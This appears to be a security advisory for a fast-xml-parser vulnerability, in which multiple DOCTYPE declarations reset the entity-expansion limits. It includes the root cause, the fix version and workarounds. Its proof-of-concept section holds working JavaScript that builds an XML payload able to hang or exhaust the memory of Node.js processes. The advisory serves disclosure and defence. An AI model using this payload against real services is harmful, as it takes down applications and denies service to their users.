highJul 21, 2026

fast-xml-parser: Repeated DOCTYPE Declarations Reset Entity Expansion Limits

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Attackers can smuggle multiple DOCTYPE declarations into a single XML document to repeatedly reset fast-xml-parser's entity-expansion counters, bypassing all configured DoS limits and crashing Node.js

Packagefast-xml-parser
Ecosystemnpm
Affected>= 5.9.3, < 5.10.1
Fixed in5.10.1

The problem

fast-xml-parser versions 5.9.3 through 5.10.0 accept multiple DOCTYPE declarations in a single XML document. Each DOCTYPE block passes its entities to @nodable/entities via addInputEntities(), and that call resets the maxTotalExpansions and maxExpandedLength counters every time it runs.

An attacker therefore cycles through as many DOCTYPE blocks as needed to keep resetting the running totals to zero. The configured limits never accumulate, so a crafted document can trigger unbounded entity expansion, blocking Node.js's single-threaded event loop, exhausting memory, and crashing the process.

Proof of concept

A working proof-of-concept for this issue in fast-xml-parser, with the exact payload below.

javascript
const { XMLParser } = require('fast-xml-parser');

// Each DOCTYPE block resets the expansion counters.
// Even with strict limits configured, the second DOCTYPE
// resets maxTotalExpansions and maxExpandedLength back to 0.
const entity = 'A'.repeat(50000); // 50 KB of raw text
const refs   = '&big;'.repeat(1000);

const xml = [
  `<!DOCTYPE foo [<!ENTITY big "${entity}">]>`,
  // Second DOCTYPE declaration resets the counters:
  `<!DOCTYPE bar [<!ENTITY big "${entity}">]>`,
  `<root>${refs}</root>`
].join('');

const parser = new XMLParser({ processEntities: true });
console.time('parse');
parser.parse(xml); // hangs / OOM despite expansion limits
console.timeEnd('parse');

The root cause (CWE-776) is that addInputEntities() in @nodable/entities unconditionally resets the entity-expansion counters each time it is called. Because fast-xml-parser passed entities from every DOCTYPE block it encountered, an attacker could call that reset path repeatedly within one parse invocation, rendering any configured limit ineffective.

The patch (commit 4e546e0) makes the parser reject a document as soon as it encounters a second DOCTYPE declaration, so addInputEntities() is called at most once per parse and the counters can never be externally reset. The fix aligns with standard XML spec guidance that a well-formed document contains at most one DOCTYPE.

The fix

Upgrade fast-xml-parser to 5.10.1 or later. As a temporary workaround, set processEntities: false to skip DOCTYPE and entity processing entirely, or pre-filter input to reject documents containing more than one DOCTYPE declaration.

Reporter not attributed.

References: [1][2][3][4]

Related research